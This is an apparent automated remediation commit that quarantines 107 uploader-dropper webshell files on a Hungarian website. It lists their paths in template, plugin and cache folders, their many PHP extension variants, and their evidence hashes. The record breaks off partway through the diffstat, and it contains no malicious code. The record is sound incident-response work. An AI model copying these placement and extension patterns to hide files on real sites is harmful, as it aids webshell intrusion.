From 2c8ef8318ce35b48edbd5c66afea9646c138d56a Mon Sep 17 00:00:00 2001 From: imrcli-remediator Date: Sat, 18 Jul 2026 18:02:44 +0200 Subject: [PATCH] =?UTF-8?q?quarantine:=20family=3Duploader-dropper=20(107?= =?UTF-8?q?=20f=C3=A1jl)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit vhost: www.archline.hu rel_path: aewxw.php3.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2870 vhost: www.archline.hu rel_path: agfkv.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2858 vhost: www.archline.hu rel_path: buigd.phtml.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2875 vhost: www.archline.hu rel_path: bwgfk.phar.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2888 vhost: www.archline.hu rel_path: cache/up_jg8ycx.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 3117 vhost: www.archline.hu rel_path: cache/up_mmbalc.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 3116 vhost: www.archline.hu rel_path: cckcn.php3.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2832 vhost: www.archline.hu rel_path: cmzqi.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2881 vhost: www.archline.hu rel_path: components/up_4v4hfn.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 4762 vhost: www.archline.hu rel_path: components/up_eqs3oz.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 4768 vhost: www.archline.hu rel_path: cpjaz.php5.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2863 vhost: www.archline.hu rel_path: dhtwb.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2890 vhost: www.archline.hu rel_path: ebcvh.phar.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2892 vhost: www.archline.hu rel_path: efsfk.php5.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2926 vhost: www.archline.hu rel_path: fcjf1ich.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 2900 vhost: www.archline.hu rel_path: friska.php.json result: quarantined evidence_sha256: 553db99b87d71437ec72b1eaa9e8eca909c116b78282a0a890f6604c5009af76 timestamp: 20260718T160241Z finding_ref: 2883 vhost: www.archline.hu rel_path: humis.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2904 vhost: www.archline.hu rel_path: iarub.php7.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2854 vhost: www.archline.hu rel_path: images/tzv0g1og9h.php.json result: quarantined evidence_sha256: b3cedb62555690bf309116f07bc6fd9beb53f3f58fd3e5fb1102636b084e5b50 timestamp: 20260718T160241Z finding_ref: 3462 vhost: www.archline.hu rel_path: images/up_c82lkd.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 3504 vhost: www.archline.hu rel_path: images/up_z46hdr.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 3511 vhost: www.archline.hu rel_path: jjslj.php3.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2879 vhost: www.archline.hu rel_path: jvjrn.phar.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2898 vhost: www.archline.hu rel_path: lmxjo.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2933 vhost: www.archline.hu rel_path: lyasi.php7.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2829 vhost: www.archline.hu rel_path: media/up_metq24.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 3044 vhost: www.archline.hu rel_path: mlegu.php5.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2871 vhost: www.archline.hu rel_path: modules/up_1uzuky.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 4743 vhost: www.archline.hu rel_path: modules/up_4jykrt.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 4738 vhost: www.archline.hu rel_path: niegn.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2847 vhost: www.archline.hu rel_path: orprr.php3.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2845 vhost: www.archline.hu rel_path: plugins/system/helix3/core/kepalabapakkau.php.json result: quarantined evidence_sha256: a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba timestamp: 20260718T160241Z finding_ref: 4727 vhost: www.archline.hu rel_path: plugins/system/helix3/kepalabapakkau.php.json result: quarantined evidence_sha256: a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba timestamp: 20260718T160241Z finding_ref: 4722 vhost: www.archline.hu rel_path: plugins/system/helix3/up_3vz7nx.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 4723 vhost: www.archline.hu rel_path: plugins/system/helix3/up_njn5a7.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 4726 vhost: www.archline.hu rel_path: qmszk.phtml.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2848 vhost: www.archline.hu rel_path: qtu3ha5k.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 2911 vhost: www.archline.hu rel_path: rzrqw.php3.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2914 vhost: www.archline.hu rel_path: sad.php.json result: quarantined evidence_sha256: d4f090c087ec604b4946b3bb987de438854011d6b0a8ea8f1c600df757f16b95 timestamp: 20260718T160241Z finding_ref: 2896 vhost: www.archline.hu rel_path: scsda.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2920 vhost: www.archline.hu rel_path: sffiv.php5.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2935 vhost: www.archline.hu rel_path: slguf.phar.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2934 vhost: www.archline.hu rel_path: sokeo.php7.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2925 vhost: www.archline.hu rel_path: templates/shaper_helix3/_h3x_64e2a63c.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160241Z finding_ref: 2975 vhost: www.archline.hu rel_path: templates/shaper_helix3/_h3x_e7130968.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160241Z finding_ref: 2966 vhost: www.archline.hu rel_path: templates/shaper_helix3/css/kepalabapakkau.php.json result: quarantined evidence_sha256: a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba timestamp: 20260718T160241Z finding_ref: 2996 vhost: www.archline.hu rel_path: templates/shaper_helix3/js/kepalabapakkau.php.json result: quarantined evidence_sha256: a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba timestamp: 20260718T160241Z finding_ref: 3035 vhost: www.archline.hu rel_path: templates/shaper_helix3/kepalabapakkau.php.json result: quarantined evidence_sha256: a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba timestamp: 20260718T160241Z finding_ref: 2967 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/vile.json result: quarantined evidence_sha256: 3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e timestamp: 20260718T160241Z finding_ref: 3028 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zscqyqr7.inc.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3013 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zscqyqr7.phar.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3021 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zscqyqr7.php.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3008 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zscqyqr7.php3.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3029 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zscqyqr7.php4.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2998 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zscqyqr7.php5.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3026 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zscqyqr7.phtml.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3012 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zseqn0yx.inc.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3022 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zseqn0yx.phar.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3032 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zseqn0yx.php.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3030 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zseqn0yx.php3.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3016 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zseqn0yx.php4.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3034 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zseqn0yx.php5.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3025 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/zseqn0yx.phtml.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 3014 vhost: www.archline.hu rel_path: templates/shaper_helix3/up_5e4xf5.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 2991 vhost: www.archline.hu rel_path: templates/shaper_helix3/up_p5n63o.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 2969 vhost: www.archline.hu rel_path: templates/shaper_helix3/zscqyqr7.inc.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2977 vhost: www.archline.hu rel_path: templates/shaper_helix3/zscqyqr7.phar.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2980 vhost: www.archline.hu rel_path: templates/shaper_helix3/zscqyqr7.php.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2973 vhost: www.archline.hu rel_path: templates/shaper_helix3/zscqyqr7.php3.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2986 vhost: www.archline.hu rel_path: templates/shaper_helix3/zscqyqr7.php4.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2965 vhost: www.archline.hu rel_path: templates/shaper_helix3/zscqyqr7.php5.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2985 vhost: www.archline.hu rel_path: templates/shaper_helix3/zscqyqr7.phtml.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2976 vhost: www.archline.hu rel_path: templates/shaper_helix3/zseqn0yx.inc.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2981 vhost: www.archline.hu rel_path: templates/shaper_helix3/zseqn0yx.phar.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2990 vhost: www.archline.hu rel_path: templates/shaper_helix3/zseqn0yx.php.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2987 vhost: www.archline.hu rel_path: templates/shaper_helix3/zseqn0yx.php3.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2979 vhost: www.archline.hu rel_path: templates/shaper_helix3/zseqn0yx.php4.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2994 vhost: www.archline.hu rel_path: templates/shaper_helix3/zseqn0yx.php5.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2984 vhost: www.archline.hu rel_path: templates/shaper_helix3/zseqn0yx.phtml.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2978 vhost: www.archline.hu rel_path: templates/zscqyqr7.inc.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2942 vhost: www.archline.hu rel_path: templates/zscqyqr7.phar.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2946 vhost: www.archline.hu rel_path: templates/zscqyqr7.php.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2940 vhost: www.archline.hu rel_path: templates/zscqyqr7.php3.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2954 vhost: www.archline.hu rel_path: templates/zscqyqr7.php4.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2936 vhost: www.archline.hu rel_path: templates/zscqyqr7.php5.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2952 vhost: www.archline.hu rel_path: templates/zscqyqr7.phtml.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2941 vhost: www.archline.hu rel_path: templates/zseqn0yx.inc.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2947 vhost: www.archline.hu rel_path: templates/zseqn0yx.phar.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2958 vhost: www.archline.hu rel_path: templates/zseqn0yx.php.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2956 vhost: www.archline.hu rel_path: templates/zseqn0yx.php3.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2945 vhost: www.archline.hu rel_path: templates/zseqn0yx.php4.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2961 vhost: www.archline.hu rel_path: templates/zseqn0yx.php5.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2951 vhost: www.archline.hu rel_path: templates/zseqn0yx.phtml.json result: quarantined evidence_sha256: e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69 timestamp: 20260718T160241Z finding_ref: 2943 vhost: www.archline.hu rel_path: tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b result: quarantined evidence_sha256: b90cbff9d883e0fc95f312b0ec2deea7d84e118c77458159621a68e903854a31 timestamp: 20260718T160241Z finding_ref: 3538 vhost: www.archline.hu rel_path: tmp/up_4ucqzf.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 3545 vhost: www.archline.hu rel_path: tmp/up_w79o5p.php.json result: quarantined evidence_sha256: bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721 timestamp: 20260718T160241Z finding_ref: 3557 vhost: www.archline.hu rel_path: vbjim.php7.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2887 vhost: www.archline.hu rel_path: vile.php.json result: quarantined evidence_sha256: 3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e timestamp: 20260718T160241Z finding_ref: 2919 vhost: www.archline.hu rel_path: vtury.php5.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2913 vhost: www.archline.hu rel_path: whqyc.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2849 vhost: www.archline.hu rel_path: wwzau.phtml.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2855 vhost: www.archline.hu rel_path: wywkj.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2844 vhost: www.archline.hu rel_path: xaurk.phtml.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2843 vhost: www.archline.hu rel_path: xgvbn.php7.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2924 vhost: www.archline.hu rel_path: yfajh.phar.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2834 vhost: www.archline.hu rel_path: yirrh.phtml.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2869 vhost: www.archline.hu rel_path: yuacx.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160241Z finding_ref: 2930 --- .../hosting/archline.hu/www/aewxw.php3.json | 1 + .../www/aewxw.php3.json.evidence.json | 15 ++ .../hosting/archline.hu/www/agfkv.php.json | 1 + .../www/agfkv.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/buigd.phtml.json | 1 + .../www/buigd.phtml.json.evidence.json | 15 ++ .../hosting/archline.hu/www/bwgfk.phar.json | 1 + .../www/bwgfk.phar.json.evidence.json | 15 ++ .../archline.hu/www/cache/up_jg8ycx.php.json | 1 + .../cache/up_jg8ycx.php.json.evidence.json | 15 ++ .../archline.hu/www/cache/up_mmbalc.php.json | 1 + .../cache/up_mmbalc.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/cckcn.php3.json | 1 + .../www/cckcn.php3.json.evidence.json | 15 ++ .../hosting/archline.hu/www/cmzqi.php.json | 1 + .../www/cmzqi.php.json.evidence.json | 15 ++ .../www/components/up_4v4hfn.php.json | 1 + .../up_4v4hfn.php.json.evidence.json | 15 ++ .../www/components/up_eqs3oz.php.json | 1 + .../up_eqs3oz.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/cpjaz.php5.json | 1 + .../www/cpjaz.php5.json.evidence.json | 15 ++ .../hosting/archline.hu/www/dhtwb.php.json | 1 + .../www/dhtwb.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/ebcvh.phar.json | 1 + .../www/ebcvh.phar.json.evidence.json | 15 ++ .../hosting/archline.hu/www/efsfk.php5.json | 1 + .../www/efsfk.php5.json.evidence.json | 15 ++ .../hosting/archline.hu/www/fcjf1ich.php.json | 1 + .../www/fcjf1ich.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/friska.php.json | 1 + .../www/friska.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/humis.php.json | 1 + .../www/humis.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/iarub.php7.json | 1 + .../www/iarub.php7.json.evidence.json | 15 ++ .../www/images/tzv0g1og9h.php.json | 68 ++++++ .../images/tzv0g1og9h.php.json.evidence.json | 15 ++ .../archline.hu/www/images/up_c82lkd.php.json | 1 + .../images/up_c82lkd.php.json.evidence.json | 15 ++ .../archline.hu/www/images/up_z46hdr.php.json | 1 + .../images/up_z46hdr.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/jjslj.php3.json | 1 + .../www/jjslj.php3.json.evidence.json | 15 ++ .../hosting/archline.hu/www/jvjrn.phar.json | 1 + .../www/jvjrn.phar.json.evidence.json | 15 ++ .../hosting/archline.hu/www/lmxjo.php.json | 1 + .../www/lmxjo.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/lyasi.php7.json | 1 + .../www/lyasi.php7.json.evidence.json | 15 ++ .../archline.hu/www/media/up_metq24.php.json | 1 + .../media/up_metq24.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/mlegu.php5.json | 1 + .../www/mlegu.php5.json.evidence.json | 15 ++ .../www/modules/up_1uzuky.php.json | 1 + .../modules/up_1uzuky.php.json.evidence.json | 15 ++ .../www/modules/up_4jykrt.php.json | 1 + .../modules/up_4jykrt.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/niegn.php.json | 1 + .../www/niegn.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/orprr.php3.json | 1 + .../www/orprr.php3.json.evidence.json | 15 ++ .../helix3/core/kepalabapakkau.php.json | 102 +++++++++ .../kepalabapakkau.php.json.evidence.json | 15 ++ .../system/helix3/kepalabapakkau.php.json | 102 +++++++++ .../kepalabapakkau.php.json.evidence.json | 15 ++ .../plugins/system/helix3/up_3vz7nx.php.json | 1 + .../helix3/up_3vz7nx.php.json.evidence.json | 15 ++ .../plugins/system/helix3/up_njn5a7.php.json | 1 + .../helix3/up_njn5a7.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/qmszk.phtml.json | 1 + .../www/qmszk.phtml.json.evidence.json | 15 ++ .../hosting/archline.hu/www/qtu3ha5k.php.json | 1 + .../www/qtu3ha5k.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/rzrqw.php3.json | 1 + .../www/rzrqw.php3.json.evidence.json | 15 ++ var/www/hosting/archline.hu/www/sad.php.json | 1 + .../www/sad.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/scsda.php.json | 1 + .../www/scsda.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/sffiv.php5.json | 1 + .../www/sffiv.php5.json.evidence.json | 15 ++ .../hosting/archline.hu/www/slguf.phar.json | 1 + .../www/slguf.phar.json.evidence.json | 15 ++ .../hosting/archline.hu/www/sokeo.php7.json | 1 + .../www/sokeo.php7.json.evidence.json | 15 ++ .../shaper_helix3/_h3x_64e2a63c.json | 32 +++ .../_h3x_64e2a63c.json.evidence.json | 15 ++ .../shaper_helix3/_h3x_e7130968.json | 32 +++ .../_h3x_e7130968.json.evidence.json | 15 ++ .../shaper_helix3/css/kepalabapakkau.php.json | 102 +++++++++ .../css/kepalabapakkau.php.json.evidence.json | 15 ++ .../shaper_helix3/js/kepalabapakkau.php.json | 102 +++++++++ .../js/kepalabapakkau.php.json.evidence.json | 15 ++ .../shaper_helix3/kepalabapakkau.php.json | 102 +++++++++ .../kepalabapakkau.php.json.evidence.json | 15 ++ .../templates/shaper_helix3/layout/vile.json | 40 ++++ .../layout/vile.json.evidence.json | 15 ++ .../shaper_helix3/layout/zscqyqr7.inc.json | 1 + .../layout/zscqyqr7.inc.json.evidence.json | 15 ++ .../shaper_helix3/layout/zscqyqr7.phar.json | 1 + .../layout/zscqyqr7.phar.json.evidence.json | 15 ++ .../shaper_helix3/layout/zscqyqr7.php.json | 1 + .../layout/zscqyqr7.php.json.evidence.json | 15 ++ .../shaper_helix3/layout/zscqyqr7.php3.json | 1 + 